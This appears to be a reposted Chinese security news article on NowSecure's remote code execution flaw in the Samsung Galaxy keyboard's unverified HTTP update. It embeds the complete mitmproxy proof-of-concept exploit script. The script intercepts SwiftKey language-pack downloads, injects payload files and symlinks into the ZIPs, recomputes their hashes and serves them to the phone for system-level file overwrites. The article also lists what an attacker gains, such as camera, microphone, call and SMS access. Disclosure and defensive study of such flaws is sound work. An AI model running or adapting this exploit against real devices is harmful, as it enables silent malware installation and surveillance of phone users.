NowSecure公司的安全研究人员表示,三星智能手机可被劫持,被恶意软件感染,并被咖啡店、酒店等地的恶意WiFi热点远程控制。研究人员表示有6亿部三星手机存在远程代码执行漏洞,且是一个软件设计漏洞。解决方案是避免连接不受信任的无线、在受信任网络中使用VPN、或者换手机。
触摸屏键盘app的自动更新未验证真实性
NowSecure表示,与三星Galaxy S6、S5、S4以及S4 Mini绑定的触摸屏键盘app会使用未加密HTTP连接从网上下载新文件的ZIP文件自动更新。但整个过程中不会验证这些文件的真实性,因此控制了用户网络的攻击者就可以劫持下载,并向手机发送恶意文档。
更新进程以系统级别的权限运行。在没有检查内部文件路径的情况下就会以对设备文件系统完整的读写许可解压ZIP文件。也就是说恶意文档可以在手机上覆盖任意文件,用恶意软件替代所安装软件,或者产生严重破坏。
系统键盘app无法卸载,而且如果禁用并用其它屏幕键盘替代,后台会继续以完整的系统权限运行。
安全研究人员表示,原始设备制造商及运行商预装第三方应用程序这件事非常让人遗憾但也普遍存在。在某些情况下这些应用程序会以特权上下文的方式运行,三星键盘就是这种情况。
三星安卓4.2及以上版本中招
NewSecure发言人表示,这个漏洞仅存在于三星设备中,而且自安卓4.2版本起或者更早版本中就存在该问题。SwiftKey是三星系统键盘的提供商,但它并没有搭建整个应用程序。该公司表示自己的键盘app并不是脆弱的,并且证实Google Play跟Apple App Store中的SwiftKey Keyboard app并不受该漏洞影响。
POC公布,目前无补丁
samsung_keyboard_mitmproxy_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
|
import os from libmproxy import proxy, flow import copy import json import time import re from netlib import odict import shutil import zipfile import urllib2 # To test the proxy : # http_proxy=http://localhost:8080 curl -H "User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900V Build/KOT49H)" http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip > az_AZ.zip # http_proxy=http://localhost:8080 curl -H "User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900V Build/KOT49H)" http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json | jq '.' # http_proxy=http://localhost:8080 curl -H "User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900V Build/KOT49H)" http://skslm.swiftkey.net/live_update.zip > live_update.zip def start(context, argv): context.log( "Grabbing original manifest" ) languagePackJSON = read_original_language_pack_manifest() global modifiedLanguagePackDir originalLanguagePackDir = "bin/languagePacks/original/" modifiedLanguagePackDir = "bin/languagePacks/modified/" create_dir_if_not_exists(originalLanguagePackDir) create_dir_if_not_exists(modifiedLanguagePackDir) payload_config_file = open ( "bin/payload_config" , "r" ) payload_config_data = payload_config_file.read() payload_config_file.close() json_phone_config = json.loads(payload_config_data) global phoneExploitManifest phoneExploitManifest = json_phone_config[ "phones" ] context.log( "Generating payloads" ) #download the Original Language Packs, if they don't already exist for phone_payload in phoneExploitManifest: phone_payload[ "languagePack" ] = copy.deepcopy(languagePackJSON) full_modded_zip_path = modifiedLanguagePackDir + \ phone_payload[ 'ro.product.model' ] + "_" + \ phone_payload[ 'ro.build.id' ] + "/" create_dir_if_not_exists(full_modded_zip_path) liveZipUpdateName = full_modded_zip_path + "live_update.zip" try : os.remove(liveZipUpdateName) except OSError: pass for f in phone_payload[ 'files' ]: payload_file = open (f[ 'payloadFileLocation' ], "r" ) payload_data = payload_file.read() payload_file.close() injectIntoZip(liveZipUpdateName, f[ 'targetFileLocation' ], payload_data) live_sha1 = sha1OfFile(liveZipUpdateName) live_update = {} live_update[ 'archive' ] = "http://skslm.swiftkey.net/live_update.zip" live_update[ 'sha1' ] = live_sha1 live_update[ 'version' ] = 8000 for lp in phone_payload[ "languagePack" ]: lpUrl = lp[ 'archive' ] _, lpZipName = os.path.split(lpUrl) fullOrigLpZipName = originalLanguagePackDir + lpZipName fullModdedLpZipName = full_modded_zip_path + lpZipName # download the languagePack if we don't already have it if not os.path.isfile(fullOrigLpZipName): print "Downloading: " + lpZipName lpRequest = urllib2.urlopen(lpUrl) output = open (fullOrigLpZipName, "w" ) output.write(lpRequest.read()) output.close() shutil.copy2(fullOrigLpZipName, fullModdedLpZipName) lp[ 'live' ] = live_update for f in phone_payload[ 'files' ]: payload_file = open (f[ 'payloadFileLocation' ], "r" ) payload_data = payload_file.read() payload_file.close() injectIntoZip(fullModdedLpZipName, f[ 'targetFileLocation' ], payload_data) sha1 = sha1OfFile(fullModdedLpZipName) lp[ 'sha1' ] = sha1 def __getHeadersHash(odictHeaders): headers = {} for header, headerValue in odictHeaders: headers[header] = headerValue return headers def extract_id_and_model(user_agent): model_and_info_regex = re. compile ( "Dalvik/[0-9.]+ \([^;]+;[^;]+;[^;]+;([^)]+)" ) model_and_build_str = model_and_info_regex.search(user_agent).groups()[ 0 ] model_and_build_groups = re. compile ( "([^ ]+)" ).findall(model_and_build_str) model = model_and_build_groups[ 0 ] build_tmp = model_and_build_groups[ 1 ] build = build_tmp[build_tmp.rfind( "/" ) + 1 :] return [model, build] def response(context, flow): flow.response.headers[ "ETag" ] = [] flow.response.headers[ "Via" ] = [] flow.response.headers[ "Last-Modified" ] = [] flow.response.headers[ "X-Amz-Cf-Id" ] = [] flow.response.headers[ "Age" ] = [] flow.response.headers[ "Cache-Control" ] = [] flow.response.headers[ "Date" ] = [] flow.response.headers[ "X-Cache" ] = [] flow.response.headers[ "x-amz-meta-s3cmd-attrs" ] = [] if (flow.request.headers[ 'Host' ] = = [ "skslm.swiftkey.net" ] and \ flow.request.path.startswith( "/samsung/downloads/" ) and \ flow.request.path.endswith( "languagePacks.json" )): context.log(flow.response.headers) context.log( "Serving manifest" ) ua = flow.request.headers[ "User-Agent" ][ 0 ] model, build = extract_id_and_model(ua) found = False for phone in phoneExploitManifest: if phone[ "ro.product.model" ] = = model and phone[ "ro.build.id" ] = = build: found = True flow.response.code = 200 flow.response.content = json.dumps(phone[ "languagePack" ]) if found: context.log( "We have proper cache for model: " \ + model + ", build: " + build) else : context.log( "No cache found for model: " + model + " build " + build) elif flow.request.headers[ 'Host' ] = = [ "skslm.swiftkey.net" ] \ and flow.request.path.endswith( ".zip" ): context.log( "Serving payload" ) _, lpZipName = os.path.split(flow.request.path) ua = flow.request.headers[ "User-Agent" ][ 0 ] model, build = extract_id_and_model(ua) full_modded_file_path = modifiedLanguagePackDir + \ model + "_" + build + "/" + lpZipName context.log( "Serving: " + full_modded_file_path) z = open (full_modded_file_path, "r" ) moddedZip = z.read() z.close() flow.response.code = 200 flow.response.content = moddedZip flow.response.headers[ 'Content-Length' ] = [ str ( len (moddedZip))] flow.response.headers[ 'Content-Type' ] = [ "application/zip" ] def create_dir_if_not_exists(f): if not os.path.exists(f): os.makedirs(f) def injectIntoZip(zipFilePath, zipEntryName, zipEntryData): zf = zipfile.ZipFile(zipFilePath, "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo(zipEntryName) info.external_attr = 660 << 16L zf.writestr(info, zipEntryData) zf.close() def injectSymlinkIntoZip(zipFilePath, linkSrc, linkDst): #attempt to write a symlink zf = zipfile.ZipFile(zipFilePath, "a" ) a = zipfile.ZipInfo() a.filename = linkSrc a.create_system = 3 a.external_attr = 0xA1ED0000L zf.writestr(a, linkDst) zf.close() def sha1OfFile(filepath): import hashlib with open (filepath, 'rb' ) as f: return hashlib.sha1(f.read()).hexdigest() def read_original_language_pack_manifest(): request = urllib2.urlopen( "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json" ) return json.loads(request.read()) |
NowSecure在GitHub上公布了一个POC并表示它会在受影响手机上执行远程代码。目前并不存在漏洞补丁。
完整POC https://github.com/nowsecure/samsung-ime-rce-poc
目前三星未予置评。
更新:
最近发生的事件无论是对三星公司还是Swift公司来说,都不是什么好事情。这两家公司都是深受安卓和iOS用户喜爱的手机键盘制造商,但是研究人员经过研 究发现,在三星Galaxy系列的手机中,存在一个安全漏洞,当这些手机在安装Swift键盘的时候,这个安全漏洞将允许攻击者执行恶意代码。根据发现该 漏洞的研究人员称,该漏洞影响了超过6亿的移动设备,其中还包括最新款的Galaxy S6以及Galaxy S6 edge。
一位名叫Ryan Welton的NowSecure公司移动安全研究员发现了这个漏洞,这个安全漏洞可以让犯罪分子获得设备的摄像头,麦克风以及GPS功能的访问权限,而且还可以让他们监听该设备所拨打的电话。
现在,用户可以在Google Play商店下载并安装Swift键盘,但Google商店中的Swwift键盘版本并不具有预装在三星Galaxy智能手机中的Swift键盘所能实现 的访问特权,也就是说,唯一受此问题影响的设备就是三星公司所生产的智能手机了。更糟糕的是,三星公司决定将Swift键盘嵌入其自己的移动系统之中,也 就是说,用户将无法卸载这个键盘程序了。对于那些装有Swift键盘的手机,这样的决定将无疑会使得这个安全漏洞产生更多的问题。但是,仅仅将键盘禁用掉 也无法解决这个问题,正如Welton所指出的那样:这个安全漏洞将会一直存在于这些手机之中,而与用户实际使用的键盘种类无关。
根据研究人员的描述,现在的问题就是,Swift键盘会在程序后台自动下载新的语言,这就使得移动设备很有可能会感染恶意代码。Welton仅靠自己就能够做到让这些移动设备感染恶意代码,而且仅仅使用了一个小型软件和一个WiFi USB加密器。
如果黑客利用了这个键盘漏洞,那么黑客就可以远程进行下列操作:
1. 获得类似GPS,摄像头和麦克风等传感器和资源的访问权限。
2. 悄悄将恶意软件安装进用户手机,而不被用户所察觉。
3. 篡改手机中其他应用的工作方式,或者篡改手机的工作模式。
4. 监听呼入或呼出的语音电话或者查看收到或发出的短信息。
5. 尝试获得用户个人敏感信息,比如说照片和文字短信。
但 好消息就是,三星公司已经意识到了这个问题的严重性了,并且正在努力对受该漏洞影响的智能手机中的软件和系统进行升级。但是在真正进行升级之前,而且你所 使用的智能手机又是三星Galaxy系列的手机时,保护用户数据安全的最好办法就是确保自己尽量避免使用不安全的WiFi网络。实际上,你最好是不要使用 这种WiFi网络。
受影响的设备名单如下:
来源:360安全播报
标签: 安全播报, 游侠安全网